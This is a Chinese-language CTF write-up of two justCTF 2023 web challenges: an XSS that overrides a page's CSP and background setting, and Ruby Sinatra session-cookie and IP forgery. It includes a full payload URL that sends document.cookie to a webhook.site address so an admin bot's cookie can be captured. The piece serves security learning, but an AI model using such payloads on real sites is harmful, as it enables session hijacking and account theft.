justctf2023-web
eXtra Safe Security layers
道题的考点是 xss和nodejs代码审计
首先他给了一个压缩包,是题目的源码
然后我们来进行分析
关键点在这
就是这里可以进行重新修改res.user的值
然后res.user的结构是这样的那么我们就可以修改
 unmodifiable.background和一个 unmodifiable.CSP属性
然后又返回到这里,如果res.user.unmodifiable.CSP不为空的话就返回它,如果为空就返回defaultCSP
讲了这么多,最关键的地方来了
这里的话会对我们的unmodifiable.background进行渲染并且加载
结合之前我们知道的可以对 unmodifiable.background和一个 unmodifiable.CSP属性进行修改,然后左上角report一下,让机器人去访问这个页面,就可以拿到这个admin页面的cookie了
- payload
http://xssl.web.jctf.pro/?text=hi&[unmodifiable][CSP]=a&[unmodifiable][background]=https://webhook.site/f202667e-9179-425d-80c1-fd62da5915d4?${document.cookie}
(国外的题目最好用这种接收http返回信息的网站,用国内vps的话会接收不到)
在这种情况下,这会将 document.cookie 发送到上面的 webhook。现在我们只需使用“报告为不当”按钮进行报告,服务器机器人就会访问此链接。机器人将通过 webhook 将 cookie 发送给我们:
成功加载我们构造的background,然后report让机器人去访问
拿到flag
Dangerous(ruby)
这道题是考察ruby的 cookie伪造 和ip伪造
就是通过题目代码给的构造cookie和ip的模板,然后根据这个模板重新构造cookie和ip
  
题目还是先给了一个文件,让我们来审计代码
首先我们来看一下这个获取flag的要求
这里话是判断username和ip满不满足条件,满足的话就会返回flag
然后看这里的前端代码 这里的reply是下面的样子,
和上述页面对应上了
这就是这个页面返回的结果 (并且还返回了admin的用户名)
但是我们得进行session的伪造,以为现在的session.user并不是janitor
点进去这个new thread的时候会返回一堆信息
这里返回了一个最关键的信息就是cookie是咋样生成的,并且还给了生成cookie的secret
然后我们就可以进行伪造了
:coder=>#<Rack::Protection::EncryptedCookie::Marshal:0x00007ff401b9a530>}根据这个模板来进行
| 1 | require 'sinatra' | 
然后把cookie进行传参,就可以绕过第一个检测了
接下来我们就得看看ip怎么进行伪造了
就是这里的会对ip和id相加后进行加密后,然后截取
然后写个脚本来对这个ip进行破解
| 1 | require "digest" | 
然后提交之后就会返回flag




















